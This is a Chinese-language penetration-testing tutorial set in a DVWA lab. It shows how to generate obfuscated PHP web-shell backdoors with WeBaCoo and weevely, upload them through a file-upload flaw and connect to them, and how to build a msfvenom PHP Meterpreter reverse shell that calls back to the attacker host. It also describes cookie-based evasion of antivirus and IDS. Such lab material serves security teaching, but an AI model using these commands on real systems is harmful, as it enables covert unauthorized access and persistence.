注:以下內容僅供學習使用,其他行為均與作者無關!轉載請注明出處,謝謝!
本文將介紹 Kali 2.0 版本下的三款Web后門工具:WebaCoo、weevely、PHP Meterpreter,這類工具通常用於維護控制權。
實驗環境:
● KALI 的IP地址是192.168.44.138;
● Metasploit的IP地址是192.168.44.130 ;
一、 WeBaCoo
WeBaCoo(Web Backdoor Cookie)是一款隱蔽的腳本類Web后門工具。借助HTTP協議,它可在客戶端和Web服務器之間實現執行代碼的網頁終端。WeBaCoo的精妙之處在於,Web服務器和客戶端之間的通信載體是Cookie。這就意味着多數的殺毒軟件、網絡入侵檢測/防御系統、網絡防火牆和應用程序防火牆都無法檢測到后門的存在。
1、WeBaCoo有兩種操作模式。
● Generation(生產線模式):指定-g 選項可進入這種模式。用戶可在這種模式下制作PHP 代碼的payload。
● Terminal(終端模式):指定-t選項可進入這種模式。用戶可在這種模式下連接到被測主機的后門程序。
2、在WeBaCoo 的HTTP Cookie 中,以下三個參數的作用最為重要。
● cm:以Base64 編碼的shell指令。
● cn:加載着編碼后輸出內容的Cookie名稱。
● cp:封裝編碼后輸出內容的分隔符。
3、啟動WeBaCoo程序,在終端中執行以下命令:
#webacoo -h
與生成模式有關的命令行選項如下。
4、實例:
(1)用默認的設置,生成名為test.php的PHP后門程序,並使用WeBaCoo的代碼混淆技術對后門進行處理,命令如下:
root@kali:~# webacoo -g -o test.php
(2)查看文件test.php的內容如圖所示:
(3)接下來,把這個后門文件上傳到被測主機(192.168.44.130)。我這里通過dvwa文件上傳做測試:
(4)上傳后訪問執行:
(5)接下來就可以使用以下指令連接到被測主機的后門程序。
root@kali:~# webacoo -t -u http://192.168.44.130/dvwa/hackable/uploads/test.php這樣就可以連接到主機上的Web shell:
(6)防火牆和代理服務器只能夠發現客戶端在發送如下請求:
服務端的響應信息如下:
上述HTTP request和 response表明,WeBaCoo后門的客戶端和服務器端的通信是不易發現的加密會話。它所用的混淆技術降低了它被發覺的可能性。
二、 weevely
weevely 是一款具有高隱蔽性的針對PHP 平台的Web shell。它實現了SSH 風格的終端界面,並有大量自動化的模塊。測試人員可用它執行系統指令、遠程管理和滲透后期的自動滲透。下面是weevely的主要功能:
(1)它有30多種可完成自動管理滲透后期任務的功能模塊。這些模塊能夠:
執行命令和瀏覽遠程文件系統;
檢測常見的服務器配置問題;
創造TCP shell和reverse shell;
在被測主機上安裝HTTP代理;
利用目標主機進行端口掃描。
(2)使用HTTP Cookie作為后門通信的載體;
(3)支持密碼認證;
1、啟動weevely程序,可在終端中使用以下命令;。
root@kali:~# weevely
weeavely的主要用途是:
● 生成混淆PHP backdoor;
● 在圖像文件中追加多態的后門程序,並可通過.htaccess 文件賦予圖像文件執行權限;
● 生成后門.htaccess 文件。
● 可通過help選項列出程序的全部模塊和生成工具。
2、實例:
(1)生成混淆PHP backdoor,並將后門保存為test1.php,命令如下:
root@kali:~# weevely generate password test1.php
(2)上述指令生成的test1.php的內容如圖所示。
(3)然后通過正常的途徑或利用程序的漏洞,把后門文件上傳到目標服務器上。
(4)訪問成功上傳的Webshell;
(5)連接Webshell,命令如下:
root@kali:~# weevely http://192.168.44.130/dvwa/hackable/uploads/test1.php password
只要連接成功,您就能連接到weevely的Web shell上。然后執行命令,查看目標主機的信息;
(6)上述信息表明,我們成功地連接到被測主機的Webshell。通過:help指令查看weevely支持的各種指令:
(7)使用net_scan模塊掃描被測主機的22,80,8080端口;
www-data@192.168.44.130:/var/www/dvwa/hackable/uploads $ :net_scan 192.168.44.130 22,80,8080
掃描結果如下:
您可隨時使用組合鍵Ctrl+D 退出weevely shell。
三、PHP Meterpreter
Metasploit 有一個名為PHP Meterpreter的payload。這個模塊可以創建具有Meterpreter功能的PHP Web shell。利用目標的漏洞(諸如常見的注入和上傳漏洞)之后,再把它的shell傳到目標主機即可。
1、實例
(1)制作PHP meterpreter,命令如下:
root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.44.138 -f raw> php-meter.php
上述指令各選項的作用如下。
● -p:指定payload 為php/meterpreter/reverse_tcp。
● -f:設置輸出格式(raw)。
Metasploit 會把生成的PHP meterpreter保存為文件php-mter.php。
(2)在上傳后門到被測主機之前,首先要刪除腳本第一行的注釋。注釋后文件內容如下:
(3)在Kali的主機上啟動Metasploit Console(msfconsole),並啟動multi/handler exploit。指定制作shell后門時用的 php/meterpreter/reverse_tcp payload。設置LHOST為Kali主機的IP 地址。使用exploit指令運行exploit的受理程序(handler);
(4)在利用注入或者遠程文件包含漏洞等Web漏洞之后,把Web shell上傳到目標服務器;
(5)訪問上傳的webshell :
(6) 之后,在運行Kali的測試主機上,Metasploit程序將會顯示Meterpreter會話;
此時,您就可以使用sysinfo和getuid之類的命令了。